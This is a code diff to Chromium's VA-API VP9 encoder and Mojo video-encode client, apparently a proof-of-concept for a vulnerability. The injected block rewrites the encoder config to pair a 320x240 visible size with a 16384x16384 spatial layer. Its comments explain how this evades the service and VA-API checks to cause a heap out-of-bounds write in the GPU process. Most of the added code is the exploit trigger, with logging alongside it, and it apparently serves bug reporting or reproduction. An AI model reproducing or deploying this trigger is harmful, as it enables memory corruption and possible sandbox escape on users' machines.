diff --git a/media/gpu/vaapi/vp9_vaapi_video_encoder_delegate.cc b/media/gpu/vaapi/vp9_vaapi_video_encoder_delegate.cc index 27a524fad9f6f9..ddf4fbcdb34d54 100644 --- a/media/gpu/vaapi/vp9_vaapi_video_encoder_delegate.cc +++ b/media/gpu/vaapi/vp9_vaapi_video_encoder_delegate.cc @@ -647,6 +647,18 @@ bool VP9VaapiVideoEncoderDelegate::SubmitFrameParameters( pic_param.frame_height_src = frame_header->frame_height; pic_param.frame_width_dst = frame_header->render_width; pic_param.frame_height_dst = frame_header->render_height; + // POC observability: surface the VA-API contract violation on hardware. + if (static_cast(pic_param.frame_width_src) > coded_size_.width() || + static_cast(pic_param.frame_height_src) > coded_size_.height()) { + LOG(ERROR) + << "[POC] VA-API CONTRACT VIOLATION: vaCreateContext picture_size=" + << coded_size_.ToString() << " VAEncCodedBuffer=" + << GetBitstreamBufferSize() << "B seq_param.max_frame=" + << seq_param.max_frame_width << "x" << seq_param.max_frame_height + << " pic_param.frame_src=" << pic_param.frame_width_src << "x" + << pic_param.frame_height_src + << " -> driver-heap OOB write in GPU process"; + } pic_param.reconstructed_frame = pic->AsVaapiVP9Picture()->va_surface_id(); DCHECK_NE(pic_param.reconstructed_frame, VA_INVALID_ID); diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc index ef953f7c971c13..a28fe7a322531e 100644 --- a/media/mojo/clients/mojo_video_encode_accelerator.cc +++ b/media/mojo/clients/mojo_video_encode_accelerator.cc @@ -156,6 +156,54 @@ EncoderStatus MojoVideoEncodeAccelerator::Initialize( // return an error status. EncoderStatus result{EncoderStatus::Codes::kEncoderInitializationError}; base::ScopedAllowBaseSyncPrimitives allow; + // ----------------------------------------------------------------------- + // POC INJECTION (compromised-renderer simulation): + // Rewrite the IPC-bound VideoEncodeAccelerator::Config so that + // input_visible_size is tiny but the top spatial_layer is huge. Every + // field below passes MojoVideoEncodeAcceleratorService::Initialize + // (kMaxDimension=32767, kMaxCanvas=2^29-1) and + // VaapiVideoEncodeAccelerator::Initialize (is_sorted, profile->max_resolution + // applied only to input_visible_size). The GPU process then calls + // vaCreateContext(320,240) and allocates a 2 MB VAEncCodedBuffer, but + // submits VAEncPictureParameterBufferVP9.frame_{width,height}_src = 16384 + // and creates 16384x16384 VA input/recon surfaces -> driver-heap OOB write + // inside the VA-API driver running in the GPU process. + Config poc = config; + if (VideoCodecProfileToVideoCodec(poc.output_profile) == VideoCodec::kVP9) { + poc.input_format = PIXEL_FORMAT_NV12; + poc.input_visible_size = gfx::Size(320, 240); + poc.output_profile = VP9PROFILE_PROFILE0; + poc.bitrate = Bitrate::ConstantBitrate(40000000u); + poc.framerate = 30; + poc.storage_type = Config::StorageType::kGpuMemoryBuffer; + poc.inter_layer_pred = SVCInterLayerPredMode::kOnKeyPic; + poc.spatial_layers.clear(); + constexpr int kHuge = 16384; // 16384*16384 < kMaxCanvas + struct { + int w; + int h; + uint32_t bps; + } const layers[] = { + {160, 120, 100000u}, {320, 240, 200000u}, {kHuge, kHuge, 40000000u}}; + for (const auto& l : layers) { + Config::SpatialLayer sl; + sl.width = l.w; + sl.height = l.h; + sl.bitrate_bps = l.bps; + sl.framerate = 30; + sl.max_qp = 56; + sl.num_of_temporal_layers = 1; + poc.spatial_layers.push_back(sl); + } + LOG(ERROR) << "[POC] renderer -> GPU VEA.Initialize: " + << poc.AsHumanReadableString(); + vea_->Initialize(poc, std::move(vea_client_remote), + std::move(media_log_pending_remote), &result); + LOG(ERROR) << "[POC] GPU VEA.Initialize result = " + << static_cast(result.code()); + return result; + } + // ----------------------------------------------------------------------- vea_->Initialize(config, std::move(vea_client_remote), std::move(media_log_pending_remote), &result); return result;